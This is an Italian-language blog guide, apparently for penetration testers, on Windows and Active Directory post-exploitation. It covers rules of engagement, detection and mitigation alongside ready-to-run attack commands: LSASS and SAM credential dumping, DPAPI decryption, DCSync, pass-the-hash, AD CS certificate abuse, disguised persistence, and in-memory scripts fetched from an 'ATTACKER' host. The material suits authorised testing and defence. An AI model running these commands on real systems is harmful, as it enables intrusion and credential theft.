Post-Exploitation Windows e Active Directory: Guida Completa

Post-exploitation Windows e Active Directory: enumerazione, privilege escalation, credential dumping, persistence, lateral movement e cleanup operativo.
- Pubblicato il 2026-07-16
- Tempo di lettura: 8 min
Post-Exploitation Windows e Active Directory: dal Foothold all’Obiettivo #
Ottenere una shell è il punto di partenza, non il traguardo. La differenza tra un foothold e un obiettivo raggiunto sta nel metodo con cui si sfrutta quell’accesso iniziale. Una sessione post-exploitation gestita male — comandi rumorosi, tool lasciati su disco, dumping indiscriminato — viene rilevata prima di arrivare da nessuna parte.
Il post-exploitation non è una sequenza fissa di comandi. È un ciclo decisionale che si adatta ai privilegi ottenuti, alle protezioni presenti sul sistema (Credential Guard, LSA protection, EDR) e allo scope dell’engagement. Dopo la situational awareness, credential access e privilege escalation vengono valutati in parallelo, non in ordine rigido: a volte serve scalare prima di poter accedere alle credenziali, altre volte è il contrario.
Il post-exploitation non corrisponde a una singola tattica MITRE ATT&CK. A seconda dell’obiettivo può coprire Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control ed Exfiltration.
Fase 0 — Scope, Obiettivi e Regole d’Ingaggio #
Prima di eseguire qualsiasi comando post-exploitation, conferma sempre:
- host, domini e subnet inclusi nello scope;
- account e sistemi esplicitamente esclusi;
- tecniche vietate o limitate (es. DCSync, modifiche a password/ACL);
- autorizzazione esplicita a credential dumping, persistence ed esfiltrazione;
- finestre operative e contatti di emergenza;
- criteri di raccolta, conservazione e distruzione dei dati;
- condizioni di stop immediato.
Questa fase distingue una metodologia professionale da una semplice lista di comandi da lab. Su HTB e piattaforme di training lo scope è la macchina stessa — ma il riflesso va comunque allenato, perché è quello che userai in un pentest reale.
Cheat Sheet — Prima Ora di Accesso #
| Priorità | Azione | Comando rapido |
|---|---|---|
| 1 | Chi sono e che privilegi ho | whoami /all |
| 2 | Su che sistema sono | systeminfo | findstr /i "os|build" |
| 3 | AV/EDR presenti | sc query windefend / tasklist /v |
| 4 | Network e connessioni | netstat -ano / ipconfig /all |
| 5 | Utenti e sessioni | query session / net user /domain |
| 6 | Dominio e DC | nltest /dsgetdc:corp.local |
| 7 | Quali fonti di credenziali sono accessibili con i privilegi attuali | whoami /priv |
| 8 | Pianifica la raccolta AD adatta a scope e rumore consentito | vedi Fase 2 |
| 9 | Identifica possibili escalation locali | vedi Fase 4 |
| 10 | Persistence solo se autorizzata dalle regole d’ingaggio | vedi Fase 5 |
Nota: il dump credenziali e l’avvio di SharpHound non sono azioni automatiche di prima ora — dipendono dai privilegi correnti e dal livello di rumore consentito. Vanno valutati, non eseguiti di default.
Fase 1 — Situational Awareness #
Appena ottenuta la shell, le prime operazioni servono a capire chi sei, dove sei, e cosa puoi fare. Tutto via LOLBins — nessun tool da caricare.
:: Chi sono e che privilegi ho
whoami /all
:: Informazioni sul sistema
systeminfo
:: Utenti locali
net user
net localgroup administrators
:: Processi in esecuzione
tasklist /v
tasklist /SVC :: processi associati a servizi
:: Connessioni di rete attive
netstat -ano
ipconfig /all
:: AV e sicurezza attiva
sc query windefend
Get-MpComputerStatus :: PowerShell
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName, productState
:: Sessioni utente attive
query session
query user
:: Informazioni sul dominio (se joinato)
net group "Domain Admins" /domain
net user /domain
nltest /domain_trusts# Verifica lingua PowerShell (CLM attivo?)
$ExecutionContext.SessionState.LanguageMode
# Cerca credenziali in chiaro nei file comuni
Get-ChildItem -Recurse -Include "*.xml","*.txt","*.conf","*.config" -ErrorAction SilentlyContinue |
Select-String -Pattern "password|passwd|pwd|credential" -ErrorAction SilentlyContinue
# Variabili d'ambiente — spesso contengono credenziali
Get-ChildItem Env:Fase 2 — Enumerazione Approfondita #
Windows — Tool Automatici #
# WinPEAS — enumerazione automatica privilege escalation paths
.\winPEASx64.exe
# Seatbelt — enumerazione difensiva e offensiva sistematica
.\Seatbelt.exe -group=all
# Seatbelt — solo le info più rilevanti
.\Seatbelt.exe -group=user -group=system -group=credentialaccessVedi articoli dedicati: WinPEAS e Seatbelt.
Active Directory — Enumerazione Dominio #
# PowerView in memoria — niente file su disco
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')
# Enumerazione base AD
Get-DomainUser -SPN # target Kerberoasting
Get-DomainUser -PreauthNotRequired # target AS-REP Roasting
Get-DomainComputer -Unconstrained # target Unconstrained Delegation
Find-LocalAdminAccess # macchine dove sei local adminPer la guida completa a PowerView: PowerView.
SharpHound mappa il grafo AD e i path verso l’obiettivo, ma non è “stealth” per definizione: la raccolta DCOnly interroga soprattutto il Domain Controller, senza toccare gli altri host joinati, ma raccoglie comunque membership, trust, permessi, OU e GPO — va comunque valutata rispetto allo scope e al livello di monitoring.
.\SharpHound.exe -c DCOnly # raccolta orientata al DC, minor superficie
.\SharpHound.exe -c All # quadro completo, più rumoreIn ambienti ibridi con Entra ID, la raccolta si estende con AzureHound, l’equivalente di SharpHound per il cloud Microsoft: la stessa piattaforma BloodHound può correlare attack path on-prem e cloud.
Fase 3 — Credential Access #
Il credential dumping non è un’azione automatica “prima di tutto il resto”: dipende dai privilegi disponibili e dalle protezioni presenti sul sistema.
# Privilegi correnti
whoami /priv
# Credential Guard attivo?
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
# LSA protection (PPL) attiva?
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPLCredential Guard isola hash NTLM, TGT Kerberos e credenziali di dominio tramite virtualization-based security, e LSA protection impedisce a processi non protetti di leggere o iniettare codice in LSASS — ma non copre tutto: account locali, service ticket Kerberos e credenziali inserite esplicitamente dall’utente restano fuori da questa protezione.
LSASS — Hash in Memoria #
privilege::debug
sekurlsa::logonpasswords # dump completo (richiede privilegi adeguati)
sekurlsa::msv # solo hash NTLMSAM e SYSTEM — Hash Locali #
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SAM C:\temp\SAMimpacket-secretsdump -sam SAM -system SYSTEM LOCALCredenziali in File e Registry #
.\Seatbelt.exe WindowsCredentialFiles
.\Seatbelt.exe WindowsVault
Get-ChildItem C:\Users -Recurse -Include "*.xml","*.ini","unattend.xml","Unattend.xml" -ErrorAction SilentlyContinue
Get-Content "C:\Windows\Panther\Unattend.xml" -ErrorAction SilentlyContinue
.\SharpChrome.exe loginsPer la guida completa: credential-dumping.
DPAPI — Master Key e Credential Vault #
DPAPI cifra password salvate, cookie di sessione e credenziali di Windows Credential Manager usando una master key derivata dalla password dell’utente (o da un backup key di dominio). Prima cerca i blob cifrati:
dir /a:h C:\Users\<username>\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\Poi la master key corrispondente. Se conosci la password dell’utente:
mimikatz # dpapi::masterkey /in:"C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" /sid:<SID> /password:<password> /protectedSe sei in un dominio con privilegi elevati, puoi chiedere al DC di decifrare la master key via MS-BKRP (RPC), senza conoscere la password dell’utente:
mimikatz # dpapi::masterkey /in:"C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" /rpcCon privilegi di Domain Admin, puoi esportare la backup key di dominio una sola volta e usarla per decifrare qualsiasi master key utente, anche offline:
mimikatz # lsadump::backupkeys /system:<DC_FQDN> /export
mimikatz # dpapi::masterkey /in:<masterkey_file> /pvk:<backup_key.pvk>Con la master key in chiaro, decifri il blob di credenziali:
mimikatz # dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob> /masterkey:<masterkey_in_chiaro>SharpDPAPI automatizza l’intero flusso (triage di credential/vault/RDG/KeePass) e supporta /rpc, /password, /pvk e /ntlm per la decifratura remota. Attenzione: CVE-2023-36004 riguarda lo spoofing del canale sicuro DPAPI e va menzionato in fase di reporting se il target non è patchato.
Fase 4 — Privilege Escalation #
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')
Invoke-AllChecks
# Service binaries scrivibili
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*"} |
Select-Object Name, PathName, StartName
# AlwaysInstallElevated (se entrambe le chiavi sono 1 = PE trivial)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Unquoted service paths
wmic service get name,displayname,pathname,startmode |
findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """"Per la guida completa: privilege-escalation-windows.
Nota sull’ordine: credential access e privilege escalation si alimentano a vicenda. A volte servono più privilegi per accedere a una fonte di credenziali; altre volte una credenziale trovata in un file di config è ciò che permette l’escalation. Non trattarle come fasi sequenziali rigide.
Fase 5 — Persistence (Opzionale) #
La persistence non è una fase obbligatoria. In un pentest reale può essere non necessaria, vietata dalle regole d’ingaggio, o rischiosa per la disponibilità del sistema. Per molti engagement è sufficiente dimostrare il percorso e documentarlo, senza lasciare alcun meccanismo attivo al termine.
Per ogni tecnica di persistence valuta sempre: prerequisiti, impatto, artefatti generati, metodo di verifica e cleanup.
Scheduled Task #
schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -w hidden -c IEX(...)" /sc hourly /ru SYSTEMimpacket-atexec corp.local/administrator:Password123!@<TARGET> "powershell -c ..."Vedi: scheduled-task.
Registry Run Key #
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "powershell -nop -w hidden -c IEX(...)" /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\update.exe" /fServizio Windows #
sc create WindowsUpdate binPath= "C:\Windows\Temp\payload.exe" start= auto
sc start WindowsUpdateGolden Ticket #
Un Golden Ticket usa la chiave dell’account krbtgt, quindi non viene invalidato dal semplice cambio password degli account amministrativi. Resta accettato dai KDC finché la chiave compromessa è valida. La bonifica richiede una rotazione controllata e doppia della password krbtgt, con replica verificata tra tutti i Domain Controller — un singolo reset non basta.
Va trattato come tecnica ad altissimo impatto, da dimostrare solo con autorizzazione esplicita nello scope.
Fase 6 — Lateral Movement e Pivoting #
# Verifica dove sei admin con le credenziali ottenute
nxc smb 192.168.1.0/24 -u administrator -H :NThash
# Esecuzione remota stealth via WMI
impacket-wmiexec -hashes :NThash corp.local/administrator@<TARGET>
# Dump delle credenziali sui nuovi host
impacket-secretsdump -hashes :NThash corp.local/administrator@<TARGET>Per la guida completa: lateral-movement.
Lateral movement e pivoting non sono sinonimi: lateral movement significa entrare e controllare un altro sistema; pivoting significa rendere raggiungibile una rete o un servizio altrimenti irraggiungibile, usando l’host compromesso come tunnel. Se il target è su una subnet non direttamente accessibile, vedi: Pivoting.
Fase 7 — Domain Compromise e AD CS #
# DCSync — dump di tutti gli hash del dominio
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc -outputfile domain_dump
# Hash krbtgt per Golden Ticket
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc-user krbtgtPer il dump del dominio: secretsdump.
Un ambiente AD moderno non si esaurisce con DCSync e Golden Ticket. Nella tua metodologia tieni sempre a mente anche: Active Directory Certificate Services, Shadow Credentials, abuso di gMSA, delegazioni Kerberos (constrained/unconstrained/RBCD) e ACL abuse. Ogni tecnica merita — e sul blog ha già, o avrà — un articolo dedicato.
Active Directory Certificate Services (AD CS) #
AD CS è definito nella community “privilege escalation as a service”: basta un template mal configurato per arrivare a Domain Admin senza toccare zero-day. Certipy è lo strumento di riferimento e copre l’intera famiglia ESC1-ESC17.
# Enumerazione completa di CA e template
certipy find -u 'user@corp.local' -p 'Password123!' -dc-ip <DC_IP> -vulnerable -stdoutESC1 — template che permette a un utente basso privilegio di specificare un SAN arbitrario (es. l’UPN dell’amministratore) con EKU di Client Authentication:
certipy req -u 'user@corp.local' -p 'Password123!' -dc-ip <DC_IP> -target <ADCS_HOST> \
-ca 'CORP-CA' -template 'ESC1-Template' -upn 'administrator@corp.local'
# Con il certificato ottenuto, richiedi il TGT via PKINIT e recupera l'hash NT
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>ESC4 — permessi di scrittura sul template: puoi riconfigurarlo per renderlo vulnerabile a ESC1, poi sfruttarlo come sopra:
certipy template -u 'user@corp.local' -p 'Password123!' -template 'ESC4-Template' -save-oldESC8 — AD CS Web Enrollment che accetta autenticazione NTLM, sfruttabile con NTLM relay verso l’endpoint HTTP del CA:
certipy relay -target 'http://<ADCS_HOST>/certsrv/certfnsh.asp' -template DomainControllerOgni riconfigurazione di template (ESC4) va ripristinata a fine test — fa parte della fase di cleanup.
Fase 8 — Collection e Objective Validation #
Il post-exploitation non serve necessariamente ad arrivare a Domain Admin: può servire a dimostrare accesso a documenti, repository, database, segreti applicativi, backup, sistemi industriali, console cloud o dati regolamentati.
Una volta raggiunto l’obiettivo dell’engagement, raccogli solo l’evidenza necessaria:
- nome e posizione del dato;
- privilegi richiesti per accedervi;
- esempio minimo o hash del file (mai il dato completo se non richiesto);
- screenshot o output controllato;
- impatto potenziale, quantità e sensibilità dei dati consultati.
Esfiltrazione Simulata e Controllata #
Non serve dimostrare di poter copiare grandi volumi di dati: serve dimostrare il rischio senza causare un incidente reale.
- usa file sintetici o canary data quando possibile;
- applica limiti dimensionali alla prova di concetto;
- cifra i dati trasferiti se autorizzato;
- registra origine, destinazione e checksum di ogni trasferimento;
- evita servizi personali non approvati dallo scope;
- elimina le copie al termine del test;
- interrompi l’attività se emergono dati fuori scope.
Fase Finale — Cleanup e Ripristino #
- elimina tool, dump, archivi e file temporanei lasciati sui sistemi;
- rimuovi scheduled task, servizi, utenti, chiavi Run e ACL aggiunte;
- chiudi tunnel, listener e sessioni remote ancora attive;
- ripristina configurazioni e password modificate durante il test;
- verifica che non restino processi o porte in ascolto;
- documenta ciò che non è stato possibile ripristinare;
- conferma la distruzione sicura dei dati raccolti.
Evidenze e Reporting #
Per ogni passaggio significativo, registra: timestamp, host sorgente e destinazione, account e livello di privilegio, comando o tecnica usata, risultato ottenuto, artefatti creati, output o screenshot, cleanup eseguito e raccomandazione difensiva associata. Senza questa fase, una metodologia post-exploitation resta una lista di comandi — non un servizio professionale.
Decision Tree Operativo #
Ho una shell
│
├── Non privilegiata
│ ├── Enum locale
│ ├── Credenziali accessibili all'utente
│ └── Privilege escalation
│
├── Local admin / SYSTEM
│ ├── Credential sources (LSASS, SAM, DPAPI, service accounts)
│ ├── Sessioni privilegiate
│ ├── LAPS / GMSA
│ └── Accesso ad altri host
│
└── Account di dominio
├── Enumerazione AD (BloodHound/AzureHound)
├── ACL / delegation / AD CS
├── Attack path verso l'obiettivo
└── Objective validationOPSEC: Cosa Non Fare #
- Non caricare Mimikatz su disco — drop in memoria o usa varianti fileless.
- Non usare PSExec se il SOC è attivo — crea servizi facilmente rilevabili.
- Non lasciare scheduled task con nomi ovvi —
WindowsUpdateè tanto sospetto quantobackdoor. - Non fare discovery rumorosa (
Find-LocalAdminAccesssu tutto il range) prima di capire il livello di monitoring. - Non dimenticare il cleanup di artefatti temporanei alla fine dell’engagement.
Detection per Fase #
| Fase | Telemetria |
|---|---|
| Discovery | Event ID 4688, Sysmon 1, PowerShell 4104, correlazione command-line |
| Credential Access | accesso anomalo a lsass.exe, dump SAM/SECURITY, alert EDR/Defender |
| Persistence | Event ID 4697/7045 (servizi), 4698/4702 (scheduled task), modifiche Run Key |
| Lateral Movement | Event ID 4624/4648, traffico WinRM/WMI/SMB/RDP anomalo |
| DCSync | Event ID 4662 generato da un principal non-DC |
| Collection | accessi anomali a share, database, archivi compressi |
| Exfiltration | upload anomali, volumi insoliti, destinazioni di rete nuove |
| DPAPI abuse | accesso a %APPDATA%\Microsoft\Protect\<SID> da processi non standard, uso di lsadump::backupkeys |
| AD CS / ESC | richieste di certificato con SAN insolito, enrollment massivo, traffico NTLM verso /certsrv/ |
Mitigazione #
- Credential Guard e LSA protection (PPL) attivi su tutti gli endpoint.
- Windows LAPS per password locali uniche e ruotate automaticamente — riduce il rischio di credential theft e lateral movement.
- Account amministrativi separati e tiering amministrativo (Tier 0/1/2).
- Segmentazione di rete e limitazione delle sessioni privilegiate.
- Auditing PowerShell (blocco script, logging avanzato).
- Monitoraggio attivo delle richieste DCSync.
- Remote Credential Guard per sessioni RDP verso host non affidabili.
Conclusione #
Il post-exploitation non è una lista di comandi da eseguire in sequenza — è una metodologia che adatta le tecniche al contesto: privilegi disponibili, protezioni presenti, livello di monitoring, obiettivi dell’engagement. Scope chiaro, valutazione parallela di credential access ed escalation, persistence solo se autorizzata, cleanup e reporting sempre: questo è ciò che separa una demo da lab da un servizio professionale.
Risorse:








